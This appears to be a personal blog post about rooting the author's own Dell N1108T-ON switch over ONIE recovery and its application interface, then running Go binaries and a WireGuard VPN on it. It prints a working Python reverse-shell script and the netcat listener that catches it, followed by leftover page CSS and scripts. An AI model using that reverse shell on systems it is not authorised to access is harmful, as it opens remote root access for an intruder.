Ethernet rules everything around lar
Found at: gopher.blog.benjojo.co.uk:70/dell-switch-hacking
Teaching a cheap ethernet switch new tricks
===

Ethernet rules everything around us, a large proportion of
our systems communicate to each other with ethernet somewhere in
the line. And the fast pace race to the bottom for embedded
systems means that almost all network equipment is smart to some
degree these days.
One of the bright sides of this is that where there are
smart things, there is generally Linux too. This is handy since
Linux is practically eating the world and is familiar to many of
us. At this point even lower end ethernet switches that used
to be confined to turnkey chips are now also "smart" enough
to be running Linux.
We are also in an interesting time where we have projects
like the Open Compute Project that aim to make the hardware
itself open between vendors. The resulting product from most Open
Compute Project devices are "bare metal switches" that have the
hardware to switch packets but no operating system to drive them.
The operating system part for open switches (and participating
non open design switches) is dealt with by a system called
ONIE (Open Network Install Environment)
ONIE provides a mostly standardised boot environment that
can be used to install other boot environments. From what it
feels like the majority of users of ONIE use it to install
Cumulus OS, a commercial debian based OS that is tuned for
switches.
I went on the hunt for ONIE enabled switches, my original
intention was to find cheaper ways to shift low volumes of traffic
(aka, integrated VPN or out of band vpn+switch) but factors at
work made me realise that that was a solution that wasn't going
to be accepted, so I took it up for fun instead. Sadly since
the majority of these switches are aimed at datacenter
deployments they are generally unsuitable for use on my desk. Often
lacking gigabit copper ethernet ports, or even lacking anything
slower than 10 gigabit full stop. On top these switches would be
aggressively priced out of my budget, and have loud active cooling.
That was until I found the Dell N1100 series, or more
specifically the Dell N1108T-ON.
The marketing and manuals claimed this tiny 8 port switch
had ONIE support. And I found a cheap vendor that sold
refurbished ones for around 85 GBP. It was a done deal.
## Switch Probing
Upon first launch, we see that we have a pretty standard
boring admin UI:
Dell Switch admin UI
The real fun starts over the USB serial port:
```
[11555.128185] usb 3-4.1: New USB device found,
idVendor=0403, idProduct=6015, bcdDevice=10.00
[11555.128188] usb 3-4.1: New USB device strings: Mfr=1,
Product=2, SerialNumber=3
[11555.128189] usb 3-4.1: Product: FT230X Basic UART
[11555.128190] usb 3-4.1: Manufacturer: FTDI
[11555.128191] usb 3-4.1: SerialNumber: DN03MXGK
[11555.136388] ftdi_sio 3-4.1:1.0: FTDI USB Serial Device
converter detected
[11555.136413] usb 3-4.1: Detected FT-X
[11555.136629] usb 3-4.1: FTDI USB Serial Device converter
now attached to ttyUSB0
```
Dell nicely integrated a little FTDI serial converter into
the switch, this is a nice improvement from the land of Cisco
style console cables that are the bane of my existence in other
scenarios due to subtle vendor differences.
Anyway, over the serial console we can see
If we interact with the boot process, we can see that we
can boot into ONIE Recovery mode! This is handy since the
shell on the main OS only gives access to switch configuration.
With a little probing we can take a look at our
surroundings:
```
ONIE:/ # uname -m
armv7l
ONIE:/ # uname -r
4.4.0-Broadcom XLDK-3.8.1
```
This kernel is actually pretty new! This is a good sign
for us, since embedded devices have a habit of running
reasonably old kernels with limited features. The downside is that
there is generally very limited support for ONIE devices running
arm, and after a large amount of searching, there are no
compatible ONIE images for this device at all, other than the already
installed Dell OS.
So clearly we need to start hacking based on what we
already have, since making ONIE images is a lot of effort and is
generally locked down to those who have SDKs that are behind NDAs
with Broadcom.
```
ONIE:/ # ls -alh /bin/sh
lrwxrwxrwx 1 root 0 7
Feb 28 2017 /bin/sh -> busybox
```
We can also see that we are inside a busybox system, so
most of the utils are going to look like standard coreutils,
but have features missing.
```
ONIE:/dev # ls -alh | grep mtd
lrwxrwxrwx 1 root 0 9
Jan 1 00:00 mtd-diags -> /dev/mtd4
lrwxrwxrwx 1 root 0 9
Jan 1 00:00 mtd-onie -> /dev/mtd5
lrwxrwxrwx 1 root 0 9
Jan 1 00:00 mtd-open -> /dev/mtd6
lrwxrwxrwx 1 root 0 9
Jan 1 00:00 mtd-shmoo -> /dev/mtd2
lrwxrwxrwx 1 root 0 9
Jan 1 00:00 mtd-sys_eeprom -> /dev/mtd3
lrwxrwxrwx 1 root 0 9
Jan 1 00:00 mtd-uboot -> /dev/mtd0
lrwxrwxrwx 1 root 0 9
Jan 1 00:00 mtd-uboot-env -> /dev/mtd1
crw-rw---- 1 root 0 90, 0
Feb 28 2017 mtd0
crw-rw---- 1 root 0 90, 2
Feb 28 2017 mtd1
crw-rw---- 1 root 0 90, 4
Feb 28 2017 mtd2
crw-rw---- 1 root 0 90, 6
Feb 28 2017 mtd3
crw-rw---- 1 root 0 90, 8
Feb 28 2017 mtd4
crw-rw---- 1 root 0 90, 10
Feb 28 2017 mtd5
crw-rw---- 1 root 0 90, 12
Feb 28 2017 mtd6
crw-rw---- 1 root 0 90, 14
Feb 28 2017 mtd7
```
We can also see that the system boots directly from a MTD
device with some handy symlinks prepopulated for us to look at.
So it's now a decent time to see if we can get the contents
of these MTD devices out and give them a poke around:
```
ONIE:/dev # mount /dev/sda1 /usb
ONIE:/dev # dd if=/dev/mtd-diags of=/usb/SWITCH/mtd-diags
```
Using binwalk we can scan over these images for clues of
what lives inside them. Sadly, the mtd devices just seem to
contain uboot and kernel images:
```
Scan Time: 2019-06-08 19:00:17
Target File: /media/ben/0300-88EE/SWITCH/mtd-onie
MD5 Checksum: 40854e6964529efa644be69840f67ef9
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
639045 0x9C045 Certificate in DER
format (x509 v3), header length: 4, sequence length: 1284
4348305 0x425991 Certificate in DER
format (x509 v3), header length: 4, sequence length: 1432
4361413 0x428CC5 Certificate in DER
format (x509 v3), header length: 4, sequence length: 5376
5394768 0x525150 Linux kernel version
"4.4.0-Broadcom XLDK-3.8.1 (pchockalingam@pchockalingam-OptiPlex-9020) (gcc
version 4.9.3 (Buildroot 2015.11.1) ) #31 SMP PREEMPT
5410352 0x528E30 gzip compressed data,
maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
```
```
Scan Time: 2019-06-08 19:00:12
Target File: /media/ben/0300-88EE/SWITCH/mtd-diags
MD5 Checksum: c3b7061af82df2162320dcf441fdc379
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage
header, header size: 64 bytes, header CRC: 0xE2DF26B4, created:
2017-06-15 01:17:16, image size: 15332548 bytes, Data Address:
0x61008000, Entry Point: 0x61008000, data CRC: 0xD34EB79E, OS: Linux,
CPU: ARM, image type: OS Kernel Image, compression type: none,
image name: "Image"
2298289 0x2311B1 Certificate in DER
format (x509 v3), header length: 4, sequence length: 1284
...
4718756 0x4800A4 Linux kernel version
"3.6.5-Broadcom Linux (tony@B3S1SVN) (gcc version 4.7.2 (Broadcom Linux) )
#721 SMP Thu Jun 15 09:17:04 CST 2017 (XLDK-3.6.5)"
4723212 0x48120C CRC32 polynomial
table, little endian
4736828 0x48473C gzip compressed data,
maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
5411103 0x52911F Unix path:
/arm/plat-iproc/../../../../../bcmdrivers/qspi/qspi_iproc.c
5413548 0x529AAC Unix path:
/arm/plat-iproc/../../../../../bcmdrivers/sd/iproc_sdhci.c
...
15152640 0xE73600 CRC32 polynomial
table, little endian
```
We can see based on this binwalk output that the kernel
we are running in the ONIE recovery mode is newer than the
one that runs the switch itself (and is built by
"pchockalingam" on a OptiPlex-9020 apparently) , this is slightly saddening
since that means then main OS that we need to hack is older
than we originally thought, but first we have to actually get a
root shell in the main OS!
The other thing we can infer from these MTD dumps is that
the vast majority of the flash (900MB of it) is used as a
UBI device:
```
Scan Time: 2019-06-08 19:01:12
Target File: /media/ben/0300-88EE/SWITCH/mtd-open
MD5 Checksum: 87e67e50132e9f584f4212cc88f8c977
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 UBI erase
count header, version: 1, EC: 0x1, VID header offset: 0x1000,
data offset: 0x2000
```
So alas, we are grounded to the OS image that Dell has
already installed on the device, so how do we run our own code
on it?
## Alt-Shells
Poking around the console outputs we can pick up a few
paths to explore:
```
Extracting Operational Code from .stk file...done.
Loading Operational Code...done.
Decompressing Operational Code...done.
Uncompressing apps.lzma
Uncompressing python.lzma
Installing Python
```
So we clearly have python installed on the device, this is
likely what the device runs as it's admin UI that we already
saw.
After a quick look around the command line interface, I
discovered that I also have a way to look around some part of the
file system:
```
console>enable
console#dir
Attr Size(bytes) Creation Time
Name
drwx 3368 Jun 09 2019
01:59:28 .
drwx 0 May 24 2017
09:07:39 ..
-rw 96 Jun 09 2019
01:59:39 snmpOprData.cfg
--- 0 Apr 17 2019
02:22:16 fsyssize
-rw 156 Apr 17 2019
02:00:16 dh512.pem
-rw 27358384 Dec 14 2018 21:28:33
image1
-rwx 26544053 Jun 08 2017 09:21:57
image2
... blah
-rw 16328 Jun 03 2019
00:15:29 log-1.bin
Total Size: 781512704
Bytes Used: 58383099
Bytes Free: 723129605
```
Poking around more, I found an applications interface:
```
console#application ?
start Start an installed
application.
stop Stop a running
application.
```
manual on how to use this platform
After a bunch of googling later I found a manual on how
to use this platform
To start with, I really just wanted to see if I can just
get a shell, thus:
```
$ cat rshell.py
#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.164",80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
$ tar -cvzf lol.tar.gz rshell.py
rshell.py
```
Using this tarball we can install it:
```
console#copy usb://lol.tar.gz application lol.tar.gz
Transfer Mode.................................. Binary
Data Type...................................... Application
Downloads application file
Management access will be blocked for the duration of the
transfer
Are you sure you want to start? (y/n) y
File transfer in progress. Management access will be blocked
for the duration of the transfer. please wait...
Application file download completed successfully.
console(config)#application install rshell.py
console(config)#show application
OpEN application table contains 2 entries.
Name StartOnBoot AutoRestart CPU Sharing
Max Memory
---------------- ----------- ----------- ----------- ----------
SupportAssist Yes Yes 0
0
rshell.py No No
0 0
console(config)#exit
console#application start rshell.py
Application started.
```
And to my amazement, the reverse shell attempt worked first
time(!)
```
[19:38:17] ben@metropolis:~$ sudo nc -v -l -p 80
[sudo] password for ben:
Listening on [0.0.0.0] (family 0, port 80)
Connection from 192.168.2.163 36686 received!
/bin/sh: can't access tty; job control turned off
# ps | grep grep
1654 root 1844 S grep grep
# uname -m
armv7l
# uname -r
3.6.5-Broadcom Linux-fcf6186d
# pwd
/mnt/fastpath
# ls -alh /bin/sh
lrwxrwxrwx 1 root root 7 May
24 2017 /bin/sh -> busybox
```
This is great! We are root, on a very similar system to
the recovery environment, with reliable means to get a root
shell!
## More than just Python
Giving that applications are tarballs and that the python
scripts provided must start with "#!/usr/bin/env python" I suspected
that the system was just launching them straight up rather than
involving a python parser. So assuming we could produce binaries that
compiled to arm and had the correct dependencies linked into the
binary (aka static linking) then we could avoid Python all
together.
As it happens this is really easy in Go:
```
ben@metropolis:~/dell-N1100-tricks/hello-world$ cat main.go
package main
import "fmt"
func main() {
fmt.Println("Hello from the switch")
}
ben@metropolis:~/dell-N1100-tricks/hello-world$ GOARCH=arm go
build
ben@metropolis:~/dell-N1100-tricks/hello-world$ ls -alh
hello-world
-rwxr-xr-x 1 ben ben 1.9M Jun 9 15:34 hello-world
ben@metropolis:~/dell-N1100-tricks/hello-world$ file hello-world
hello-world: ELF 32-bit LSB executable, ARM, EABI5 version 1
(SYSV), statically linked, not stripped
ben@metropolis:~/dell-N1100-tricks/hello-world$ tar -cvzf
asd.tar.gz hello-world
```
Then on the switch:
```
console#copy usb://asd.tar.gz application asd.tar.gz
Transfer Mode.................................. Binary
Data Type...................................... Application
Downloads application file
Management access will be blocked for the duration of the
transfer
Are you sure you want to start? (y/n) y
File transfer in progress. Management access will be blocked
for the duration of the transfer. please wait...
Application file download completed successfully.
console(config)#application install hello-world
console(config)#exit
console#application start hello-worldHello from the switch
Application started.
```
It works! This is big news since there is a large
community behind Go libraries, and since the binaries that go
produces are automatically statically linked (as long as you don't
import C dependencies), we can easily develop against the switch
without worrying that we are going to bump into lack of dependency
issues on the switch's operating system.
The first thing it called for is a SSH server that dumped
you into a shell automatically:
```
# # Based on
https://gist.github.com/jpillora/b480fde82bff51a06238
ben@metropolis:~$ ssh -p 2200 foo@192.168.2.163 he
# /bin/sh: can't access tty; job control turned off
# pwd
/mnt/fastpath
#
```
Sadly I could not get ptty's working, meaning that for now
the example just spawns a shell in interactive mode, better
than running a reverse shell every time you want to get root
access to the switch though!
## A cheap 8 port VPN device
Giving the low cost of this device, and the fact it runs
a freely rootable OS, it would make a nice out of band
switch with a VPN uplink. However for this we need to check if
the kernel that we are stuck on can support TUN/TAP devices,
luckily this is easy since the kernel itself was compiled with
`CONFIG_IKCONFIG_PROC=y` meaning that the whole kernel config is in `/proc/config.gz`
making it easy to check what the kernel supports:
```
# zcat /proc/config.gz | grep CONFIG_TUN
CONFIG_TUN=y
```
This is great, this means we can create TUN/TAP devices on
this system, We can use this feature to bring up wireguard
tunnels to provide safe and encrypted access to the device.
Wireguard for Linux is a kernel module, however with some small
patching you can also use the wireguard-go implementation for devices
where you can't load modules.
```
# WG_I_PREFER_BUGGY_USERSPACE_TO_POLISHED_KMOD=1 ./wireguard-go
test
WARNING WARNING WARNING WARNING WARNING WARNING WARNING
W
G
W You are running this software on a Linux kernel,
G
W which is probably unnecessary and foolish. This G
W is because the Linux kernel has built-in first
G
W class support for WireGuard, and this support is G
W much more refined than this slower userspace
G
W implementation. For more information on
G
W installing the kernel module, please visit:
G
W https://www.wireguard.com/install
G
W
G
WARNING WARNING WARNING WARNING WARNING WARNING WARNING
INFO: (test) 2019/06/10 00:22:04 Starting wireguard-go version
v0.0.20190517-15-gda61947-dirty
# ip l
1: lo:mtu 16436 qdisc noqueue state
UNKNOWN mode DEFAULT group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0:mtu 1500 qdisc
pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
link/ether e4:f0:04:18:e7:86 brd ff:ff:ff:ff:ff:ff
3: sit0:mtu 1280 qdisc noop state DOWN mode
DEFAULT group default
link/sit 0.0.0.0 brd 0.0.0.0
4: ip6tnl0:mtu 1452 qdisc noop state DOWN mode
DEFAULT group default
link/tunnel6 :: brd ::
5: dtl0:mtu 1500 qdisc
pfifo_fast state UNKNOWN mode DEFAULT group default qlen 500
link/ether e4:f0:04:18:e7:85 brd ff:ff:ff:ff:ff:ff
6: test:mtu 1420 qdisc noop
state DOWN mode DEFAULT group default qlen 500
link/none
```
Giving wireguard-go really does not want to load on Linux.
You need to pass it some encouragement in the form of an
environment variable, after that we can confirm that the new "test"
interface is running. At this point `wireguard-go` is running in the
background, and is waiting for configuration.
At this point we need to compile the CLI tools for
wireguard called "wg", this is a C program that is designed to work
for both the Linux kernel module and the tun/tap server
variant. However for it to be easily compilable for this target, I
stripped out the support for the module for compilation simplicity,
and got to work cross compiling to arm:
```
$ sudo apt-get install gcc make gcc-arm-linux-gnueabi
binutils-arm-linux-gnueabi
$ make SHARED=0 CC='arm-linux-gnueabi-gcc -static
-mabi=aapcs-linux -mcpu=cortex-a9 --no-float-store' --trace
```
Once it's on the switch, we can use the tool to set up
a config, and standard system tools to give the interface an
IP address.
```
# ./wg setconf test test.conf
# ./wg
interface: test
public key: P3i+7BLxbtormgHRzPglOxrGQ4mpvFw9/ZKH8SPdPkU=
private key: (hidden)
listening port: 9999
peer: Sijbz2dMX6fs53HgITe2SH2unR1IdRPjwOcmI0RSWFI=
endpoint: 192.168.2.1:9999
allowed ips: 25.25.25.0/24
# ip addr add 25.25.25.3/24 dev test
# ip link set test up
# ping 25.25.25.2
PING 25.25.25.2 (25.25.25.2): 56 data bytes
64 bytes from 25.25.25.2: seq=0 ttl=64 time=2.908 ms
64 bytes from 25.25.25.2: seq=1 ttl=64 time=2.640 ms
# ./wg
interface: test
public key: P3i+7BLxbtormgHRzPglOxrGQ4mpvFw9/ZKH8SPdPkU=
private key: (hidden)
listening port: 9999
peer: Sijbz2dMX6fs53HgITe2SH2unR1IdRPjwOcmI0RSWFI=
endpoint: 192.168.2.1:9999
allowed ips: 25.25.25.0/24
latest handshake: 10 seconds ago
transfer: 1.39 KiB received, 2.12 KiB sent
```
And as you can see, we have turned this cheap 8 port
switch into a wireguard capable device. This setup is easy to
automate using the previously mentioned applications interface.
## Under the hood pics
board picture
table td,table th {
padding: 0
}
.c15 {
border-right-style: solid;
padding: 5pt 5pt 5pt 5pt;
border-bottom-color: #000000;
border-top-width: 0pt;
border-right-width: 0pt;
border-left-color: #000000;
vertical-align: top;
border-right-color: #000000;
border-left-width: 0pt;
border-top-style: solid;
background-color: #8c00ff;
border-left-style: solid;
border-bottom-width: 0pt;
width: 18.8pt;
border-top-color: #000000;
border-bottom-style: solid
}
.c8 {
border-right-style: solid;
padding: 5pt 5pt 5pt 5pt;
border-bottom-color: #000000;
border-top-width: 0pt;
border-right-width: 0pt;
border-left-color: #000000;
vertical-align: top;
border-right-color: #000000;
border-left-width: 0pt;
border-top-style: solid;
background-color: #00ffff;
border-left-style: solid;
border-bottom-width: 0pt;
width: 18.8pt;
border-top-color: #000000;
border-bottom-style: solid
}
.c13 {
border-right-style: solid;
padding: 5pt 5pt 5pt 5pt;
border-bottom-color: #000000;
border-top-width: 0pt;
border-right-width: 0pt;
border-left-color: #000000;
vertical-align: top;
border-right-color: #000000;
border-left-width: 0pt;
border-top-style: solid;
background-color: #ff45e9;
border-left-style: solid;
border-bottom-width: 0pt;
width: 18.8pt;
border-top-color: #000000;
border-bottom-style: solid
}
.c21 {
border-right-style: solid;
padding: 5pt 5pt 5pt 5pt;
border-bottom-color: #000000;
border-top-width: 0pt;
border-right-width: 0pt;
border-left-color: #000000;
vertical-align: top;
border-right-color: #000000;
border-left-width: 0pt;
border-top-style: solid;
background-color: #ffff45;
border-left-style: solid;
border-bottom-width: 0pt;
width: 18.8pt;
border-top-color: #000000;
border-bottom-style: solid
}
.c17 {
border-right-style: solid;
padding: 5pt 5pt 5pt 5pt;
border-bottom-color: #000000;
border-top-width: 0pt;
border-right-width: 0pt;
border-left-color: #000000;
vertical-align: top;
border-right-color: #000000;
border-left-width: 0pt;
border-top-style: solid;
background-color: #ff4545;
border-left-style: solid;
border-bottom-width: 0pt;
width: 18.8pt;
border-top-color: #000000;
border-bottom-style: solid
}
.c14 {
border-right-style: solid;
padding: 5pt 5pt 5pt 5pt;
border-bottom-color: #000000;
border-top-width: 0pt;
border-right-width: 0pt;
border-left-color: #000000;
vertical-align: top;
border-right-color: #000000;
border-left-width: 0pt;
border-top-style: solid;
border-left-style: solid;
border-bottom-width: 0pt;
width: 431.2pt;
border-top-color: #000000;
border-bottom-style: solid
}
.c20 {
color: #000000;
font-weight: 700;
text-decoration: none;
vertical-align: baseline;
font-size: 11pt;
font-family: "Arial";
font-style: normal
}
.c5 {
color: #000000;
font-weight: 400;
text-decoration: none;
vertical-align: baseline;
font-size: 16pt;
font-family: "Arial";
font-style: normal
}
.c4 {
color: #000000;
font-weight: 400;
text-decoration: none;
vertical-align: baseline;
font-size: 9pt;
font-family: "Consolas";
font-style: normal
}
.c1 {
padding-top: 0pt;
padding-bottom: 0pt;
line-height: 1.15;
orphans: 2;
widows: 2;
text-align: left;
height: 11pt
}
.c3 {
color: #000000;
font-weight: 400;
text-decoration: none;
vertical-align: baseline;
font-size: 11pt;
font-family: "Consolas";
font-style: normal
}
.c18 {
color: #000000;
font-weight: 400;
text-decoration: none;
vertical-align: baseline;
font-size: 26pt;
font-family: "Arial";
font-style: normal
}
.c11 {
padding-top: 18pt;
padding-bottom: 6pt;
line-height: 1.15;
page-break-after: avoid;
orphans: 2;
widows: 2;
text-align: left
}
.c16 {
padding-top: 0pt;
padding-bottom: 3pt;
line-height: 1.15;
page-break-after: avoid;
orphans: 2;
widows: 2;
text-align: left
}
.c0 {
color: #000000;
font-weight: 400;
text-decoration: none;
vertical-align: baseline;
font-size: 11pt;
font-family: "Arial";
font-style: normal
}
.c2 {
padding-top: 0pt;
padding-bottom: 0pt;
line-height: 1.15;
orphans: 2;
widows: 2;
text-align: left
}
.c12 {
padding-top: 0pt;
padding-bottom: 0pt;
line-height: 1.0;
text-align: left;
height: 11pt
}
.c6 {
text-decoration-skip-ink: none;
-webkit-text-decoration-skip:
none;
color: #1155cc;
text-decoration: underline
}
.c10 {
border-spacing: 0;
border-collapse: collapse;
margin-right: auto
}
.c22 {
background-color: #ffffff;
max-width: 451.4pt;
padding: 72pt 72pt 72pt 72pt
}
.c19 {
font-weight: 400;
font-family: "Consolas"
}
.c7 {
color: inherit;
text-decoration: inherit
}
.c9 {
height: 0pt
}
colspan="1" rowspan="1"> |
class="c14" colspan="1" rowspan="1"> |
class="c21" colspan="1" rowspan="1"> |
|
class="c12"> |
rowspan="1"> the SFP ports |
colspan="1" rowspan="1"> |
class="c14" colspan="1" rowspan="1"> Ethernet Isolation |
colspan="1" rowspan="1"> |
class="c14" colspan="1" rowspan="1"> Micron Flash NAND |
Power consumption on this device is great with the power
supply being rated for 25W, but the actual nominal consumption
being just 5W.
## Conclusion
The future is very interesting! With these kinds of devices
becoming more and more common thanks to the cost improvements with
adding smart control planes, I suspect we will soon see a lot of
low/mid tier routers just disappear into switches. This has already
somewhat happened, but with chipsets like BCM53443B0KFSBG existing,
there isn't much reason left to not just make smart switches
that also route (keep an eye out for devices that are running
fastpath, they are likely smarter than you think they are!).
If you are interested in seeing some of the utils yourself
(they are not really that special) then you can find the github
repo where I dumped a bunch of working directories here:
https://github.com/benjojo/dell-N1100-tricks
I hope to end up doing some more hardware posts in the
coming months when I find the time, if that is your kind of
thing then you can stay up to date with this blog by following
me on twitter or using the blog's RSS feed
Until next time!
/**
* Copyright (c) 2014 The xterm.js authors. All rights
reserved.
* Copyright (c) 2012-2013, Christopher Jeffrey (MIT
License)
* https://github.com/chjj/term.js
* @license MIT
*
* Permission is hereby granted, free of charge, to any
person obtaining a copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without
limitation the rights
* to use, copy, modify, merge, publish, distribute,
sublicense, and/or sell
* copies of the Software, and to permit persons to whom
the Software is
* furnished to do so, subject to the following
conditions:
*
* The above copyright notice and this permission notice
shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE
OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* Originally forked from (with the author's permission):
* Fabrice Bellard's javascript vt100 for jslinux:
* http://bellard.org/jslinux/
* Copyright (c) 2011 Fabrice Bellard
* The original design remains. The terminal itself
* has been extended to include xterm CSI codes,
among
* other features.
*/
/**
* Default styles for xterm.js
*/
.xterm {
font-feature-settings: "liga" 0;
position: relative;
user-select: none;
-ms-user-select: none;
-webkit-user-select: none;
}
.xterm.focus,
.xterm:focus {
outline: none;
}
.xterm .xterm-helpers {
position: absolute;
top: 0;
/**
* The z-index of the helpers must be higher than
the canvases in order for
* IMEs to appear on top.
*/
z-index: 10;
}
.xterm .xterm-helper-textarea {
/*
* HACK: to fix IE's blinking cursor
* Move textarea out of the screen to the far
left, so that the cursor is not visible.
*/
position: absolute;
opacity: 0;
left: -9999em;
top: 0;
width: 0;
height: 0;
z-index: -10;
/** Prevent wrapping so the IME appears against the
textarea at the correct position */
white-space: nowrap;
overflow: hidden;
resize: none;
}
.xterm .composition-view {
/* TODO: Composition position got messed up somewhere
*/
background: #000;
color: #FFF;
display: none;
position: absolute;
white-space: nowrap;
z-index: 1;
}
.xterm .composition-view.active {
display: block;
}
.xterm .xterm-viewport {
/* On OS X this is required in order for the
scroll bar to appear fully opaque */
background-color: #000;
overflow-y: scroll;
cursor: default;
position: absolute;
right: 0;
left: 0;
top: 0;
bottom: 0;
}
.xterm .xterm-screen {
position: relative;
}
.xterm .xterm-screen canvas {
position: absolute;
left: 0;
top: 0;
}
.xterm .xterm-scroll-area {
visibility: hidden;
}
.xterm-char-measure-element {
display: inline-block;
visibility: hidden;
position: absolute;
top: 0;
left: -9999em;
line-height: normal;
}
.xterm {
cursor: text;
}
.xterm.enable-mouse-events {
/* When mouse events are enabled (eg. tmux), revert
to the standard pointer cursor */
cursor: default;
}
.xterm.xterm-cursor-pointer {
cursor: pointer;
}
.xterm.column-select.focus {
/* Column selection mode */
cursor: crosshair;
}
.xterm .xterm-accessibility,
.xterm .xterm-message {
position: absolute;
left: 0;
top: 0;
bottom: 0;
right: 0;
z-index: 100;
color: transparent;
}
.xterm .live-region {
position: absolute;
left: -9999px;
width: 1px;
height: 1px;
overflow: hidden;
}
.xterm-dim {
opacity: 0.5;
}
.xterm-underline {
text-decoration: underline;
}
function proposeGeometry(term) {
if (!term.element.parentElement) {
return null;
}
var parentElementStyle =
window.getComputedStyle(term.element.parentElement);
var parentElementHeight =
parseInt(parentElementStyle.getPropertyValue('height'));
var parentElementWidth = Math.max(0,
parseInt(parentElementStyle.getPropertyValue('width')));
var elementStyle =
window.getComputedStyle(term.element);
var elementPadding = {
top:
parseInt(elementStyle.getPropertyValue('padding-top')),
bottom:
parseInt(elementStyle.getPropertyValue('padding-bottom')),
right:
parseInt(elementStyle.getPropertyValue('padding-right')),
left:
parseInt(elementStyle.getPropertyValue('padding-left'))
};
var elementPaddingVer = elementPadding.top +
elementPadding.bottom;
var elementPaddingHor = elementPadding.right +
elementPadding.left;
var availableHeight = parentElementHeight -
elementPaddingVer;
var availableWidth = parentElementWidth -
elementPaddingHor - term._core.viewport.scrollBarWidth;
var geometry = {
cols: Math.floor(availableWidth /
term._core._renderCoordinator.dimensions.actualCellWidth),
rows: Math.floor(availableHeight /
term._core._renderCoordinator.dimensions.actualCellHeight)
};
return geometry;
}
function fit(term) {
var geometry = proposeGeometry(term);
if (geometry) {
if (term.rows !== geometry.rows ||
term.cols !== geometry.cols) {
term._core._renderCoordinator.clear();
term.resize(geometry.cols,
geometry.rows);
}
}
}
function apply(terminalConstructor) {
terminalConstructor.prototype.proposeGeometry =
function () {
return proposeGeometry(this);
};
terminalConstructor.prototype.fit = function ()
{
fit(this);
};
}
//# sourceMappingURL=fit.js.map
var onieterm = new Terminal();
onieterm.open(document.getElementById('terminal-boot-onie-recovery'));
fit(onieterm);
var bootterm = new Terminal();
bootterm.open(document.getElementById('terminal-boot'));
fit(bootterm);
window.onresize = function(){
fit(onieterm);
fit(bootterm);
};
function convertB64ToBinary(base64) {
var raw = window.atob(base64);
var rawLength = raw.length;
var array = new Uint8Array(new
ArrayBuffer(rawLength));
for(i = 0; i < rawLength; i++) {
array[i] = raw.charCodeAt(i);
}
return array;
}
function playTTYplay(name,data,term) {
array = convertB64ToBinary(data);
window[name+"offset"] = 0;
window[name+"lsec"] = 0;
window[name+"lmsec"] = 0;
setTimeout(blurTTY,1,name,array,term)
}
function blurTTY(name,data,term) {
offset = window[name+"offset"];
header = readTtyHeader(data,offset)
datalength = header.len
secdiff = header.secs -
window[name+"lsec"];
mdiff = header.msec -
window[name+"lmsec"];
window[name+"lsec"] = header.secs
window[name+"lmsec"] = header.msec
if (secdiff < 0) {
secdiff = 0;
}
tdiff = secdiff * 1000;
tdiff = tdiff + (mdiff/1000)
if (tdiff > 1000) {
tdiff = 1000;
}
stringToWrite =
data.buffer.slice(offset+12, offset+12+datalength);
var enc = new TextDecoder("utf-8");
term.write(enc.decode(stringToWrite))
window[name+"offset"] =
offset+12+datalength;
if (secdiff != 0) {
setTimeout(blurTTY,1000,name,data,term)
} else {
setTimeout(blurTTY,tdiff,name,data,term)
}
}
function readTtyHeader(data,offset) {
// Should always return a len for how
much string to send
var u32bytes =
data.buffer.slice(offset,offset+4);
var secs = new Uint32Array(u32bytes)[0]
var u32bytes =
data.buffer.slice(offset+4,offset+8);
var msec = new Uint32Array(u32bytes)[0]
var u32bytes =
data.buffer.slice(offset+8,offset+12);
var len = new Uint32Array(u32bytes)[0]
return
{"len":len,"msec":msec,"secs":secs};
}
triggerboot =
document.getElementById("play-boot");
triggeronieboot =
document.getElementById("play-onie-boot");
triggerboot.onclick = function(){
playTTYplay("boot",bootrecording,bootterm)
};
triggeronieboot.onclick = function(){
playTTYplay("onie",bootonierecording,onieterm)
};